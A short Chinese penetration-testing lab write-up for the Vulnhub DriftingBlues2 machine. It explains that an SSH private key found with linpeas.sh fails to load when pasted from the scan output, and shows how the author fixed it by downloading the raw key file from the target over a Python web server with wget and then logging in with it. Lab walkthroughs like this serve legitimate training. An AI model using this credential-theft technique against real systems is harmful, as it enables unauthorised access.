SSH利用私钥登录时一个简单错误的解决过程
问题描述
在一次渗透测试过程中，利用linpeas.sh脚本扫描有无本地提权漏洞，发现了目标靶机有SSH私钥，并且又相应的权限读取，因此从linpeas.sh脚本的输出结果中SSH私钥相应的内容拷贝至攻击机本地，
┌──(kali㉿kali)-[~/Vulnhub/Driftingblue2]
└─$ vim id_rsa
┌──(kali㉿kali)-[~/Vulnhub/Driftingblue2]
└─$ chmod 400 id_rsa
┌──(kali㉿kali)-[~/Vulnhub/Driftingblue2]
└─$ ssh -i id_rsa [email protected]
The authenticity of host '192.168.56.191 (192.168.56.191)' can't be established.
ED25519 key fingerprint is SHA256:P07e9iTTwbyQae7lGtYu8i4toAyBfYkXY9/kw/dyv/4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.191' (ED25519) to the list of known hosts.
Load key "id_rsa": error in libcrypto
[email protected]'s password:
解决过程
但是利用该私钥登录时，却报错。网上查了好久，看有没有解决方法各种说法都有，最后才发现，原因是由于从linpeas.sh输出结果中直接拷贝内容,然后在kali linux本地粘贴这些内容导致的。
解决思路其实很简单，只需要从目标主机将私钥原始文件下载到本地，可以在目标主机利用python3启用web。
└─$ wget http://192.168.56.191:8000/id_rsa
--2022-11-18 22:26:22-- http://192.168.56.191:8000/id_rsa
Connecting to 192.168.56.191:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1823 (1.8K) [application/octet-stream]
Saving to: ‘id_rsa.1’
id_rsa.1 100%[=================================================================================================================================>] 1.78K --.-KB/s in 0s
2022-11-18 22:26:22 (332 MB/s) - ‘id_rsa.1’ saved [1823/1823]
┌──(kali㉿kali)-[~/Vulnhub/Driftingblue2]
└─$ chmod 400 id_rsa
┌──(kali㉿kali)-[~/Vulnhub/Driftingblue2]
└─$ ssh -i id_rsa [email protected]
Linux driftingblues 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.